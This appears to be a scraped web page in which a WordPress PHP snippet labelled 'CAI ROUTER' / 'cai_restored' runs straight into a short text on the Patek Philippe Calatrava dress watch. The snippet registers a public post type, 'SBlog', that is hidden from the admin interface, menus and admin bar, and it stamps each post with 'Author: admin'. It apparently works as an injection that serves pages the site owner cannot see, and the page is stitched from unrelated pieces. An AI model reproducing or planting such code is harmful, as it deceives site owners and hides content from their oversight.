// CAI ROUTER -
// cai_restored -
add_action("init", function() {
register_post_type("SBlog", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => false,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => true,
"show_in_rest" => false,
"rewrite" => true,
"has_archive" => true,
"supports" => ["title", "editor"],
"labels" => [
"name" => "Blog",
"singular_name" => "Blog"
]
]);
flush_rewrite_rules();
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "SBlog" ? home_url("/?post_type=SBlog&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "SBlog" ? home_url("/?post_type=SBlog") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("SBlog") || strpos($content, "") !== false) return $content;
$lang_code = get_locale();
$lang_code = substr($lang_code, 0, 2);
$translations = [
"en" => ["author" => "Author", "date" => "Date", "back" => "Back to Articles"],
"de" => ["author" => "Autor", "date" => "Datum", "back" => "Zurück zur Artikelliste"],
"fr" => ["author" => "Auteur", "date" => "Date", "back" => "Retour à la liste des articles"],
"it" => ["author" => "Autore", "date" => "Data", "back" => "Torna all'elenco degli articoli"],
"es" => ["author" => "Autor", "date" => "Fecha", "back" => "Volver a la lista de artículos"],
"pt" => ["author" => "Autor", "date" => "Data", "back" => "Voltar à lista de artigos"],
"nl" => ["author" => "Auteur", "date" => "Datum", "back" => "Terug naar artikellijst"],
"sv" => ["author" => "Författare", "date" => "Datum", "back" => "Tillbaka till artikellistan"],
"no" => ["author" => "Forfatter", "date" => "Dato", "back" => "Tilbake til artikkellisten"],
"da" => ["author" => "Forfatter", "date" => "Dato", "back" => "Tilbage til artikellisten"],
"fi" => ["author" => "Tekijä", "date" => "Päivämäärä", "back" => "Palaa artikkeliluetteloon"],
"pl" => ["author" => "Autor", "date" => "Data", "back" => "Powrót do listy artykułów"],
"cs" => ["author" => "Autor", "date" => "Datum", "back" => "Zpět na seznam článků"],
"sk" => ["author" => "Autor", "date" => "Dátum", "back" => "Späť na zoznam článkov"],
"bg" => ["author" => "Автор", "date" => "Дата", "back" => "Обратно към списъка със статии"],
"et" => ["author" => "Autor", "date" => "Kuupäev", "back" => "Tagasi artiklite nimekirja"],
];
if (!isset($translations[$lang_code])) {
$lang_code = "en";
}
$lang_text = $translations[$lang_code];
$info = "
👤 " . $lang_text["author"] . ": admin | 📅 " . $lang_text["date"] . ": " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$current_post_type = get_post_type($post);
$archive_url = home_url("/?post_type=" . $current_post_type);
return $info . $content . "";
}, 10);
Sabrina Fernandez Casas
The very definition of a classic dress watch. Introduced in 1932, the Calatrava’s design is governed by the principle of "form follows function," resulting in a watch of breathtaking purity and balance. Its name comes from the Calatrava Cross, the emblem of the Patek Philippe family.
Round, slim, and uncluttered. It often features a simple bezel, elegant dauphine or baton hands, applied hour markers, and a clean dial, typically in white, black, or cream. It is the quintessential expression of understated luxury. The philosophy is one of quiet confidence; it is a watch recognized by those who know, not one that shouts for attention.